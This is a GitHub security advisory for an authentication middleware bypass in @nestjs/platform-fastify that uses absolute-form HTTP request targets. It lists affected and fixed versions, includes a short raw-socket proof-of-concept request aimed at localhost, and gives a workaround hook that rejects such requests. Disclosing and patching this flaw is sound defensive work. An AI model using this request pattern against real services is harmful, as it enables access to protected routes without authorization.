GitHub Advisoryadvisory · npm
GHSA-9c5c-9qcx-q35q @nestjs/platform-fastify: Path-scoped middleware bypass via absolute-form request targets
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- @nestjs/platform-fastify
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-288, CWE-436
- Reviewed
- 2026-09-30
Affected packages
• npm @nestjs/platform-fastify: < 11.2.4 → fixed in 11.2.4
• npm @nestjs/platform-fastify: >= 12.0.0, < 12.0.2 → fixed in 12.0.2
Description
| Field | Value |
| --- | --- |
| Ecosystem | npm |
| Package | `@nestjs/platform-fastify` |
| Affected versions | `>= 12.0.0, res.end('blocked by auth middleware'))
.forRoutes({ path: 'users', method: RequestMethod.GET });
}
}
```
`supertest` and `light-my-request` always emit origin-form targets, so the request has to be written to the socket:
```js
const { connect } = require('node:net');
const socket = connect(3000, '127.0.0.1', () => {
socket.write(
'GET http://127.0.0.1:3000/users HTTP/1.1\r\n' +
'Host: 127.0.0.1:3000\r\n' +
'Connection: close\r\n\r\n',
);
});
socket.pipe(process.stdout);
```
Observed on an affected version: `protected data` — the middleware did not run.
Expected, and observed on a patched version: `blocked by auth middleware`.
Patches
Fixed in 12.0.2 and 11.2.4. Upgrading to 12.0.3 or 11.2.5 is recommended.
• The bundled `@fastify/middie` fork was removed and the package now depends on `@fastify/[email protected]`, which
resolves absolute-form targets before matching.
• The adapter resolves absolute-form targets in its own route check, mirroring `find-my-way`.
• Deprecated top-level Fastify router options are folded into `routerOptions` so the middleware engine and the
router normalize paths identically.
Workarounds
If you cannot upgrade, reject non-origin-form request targets before middleware runs. Register the hook on the
Fastify instance before the application is initialized, so that it runs ahead of the middleware engine's own
`onRequest` hook, and confirm with the request above that the rejection takes effect:
```ts
const adapter = new FastifyAdapter();
adapter.getInstance().addHook('onRequest', (request, reply, done) => {
const target = request.raw.url ?? '';
// "*" is the legitimate request target of "OPTIONS * HTTP/1.1"
if (target[0] !== '/' && target !== '*') {
reply.code(400).send();
return;
}
done();
});
```
Rejecting or normalizing absolute-form targets at a reverse proxy in front of the application is equally effective.
Credit
Reported by ZeroVuln Labs.
Related
References
- https://github.com/fastify/middie/security/advisories/GHSA-hx87-8wv7-pjv8 web
- https://github.com/nestjs/nest/security/advisories/GHSA-9c5c-9qcx-q35q web
- https://github.com/nestjs/nest/pull/17737 web
- https://github.com/nestjs/nest/commit/5226fe084cf64b357de436f154bc89f2d319b621 web
- https://github.com/nestjs/nest/commit/dda252090ecb65009d9ff366444303796fc44fd7 web
- https://github.com/nestjs/nest package
- https://github.com/nestjs/nest/releases/tag/v11.2.4 web
- https://github.com/nestjs/nest/releases/tag/v12.0.2 web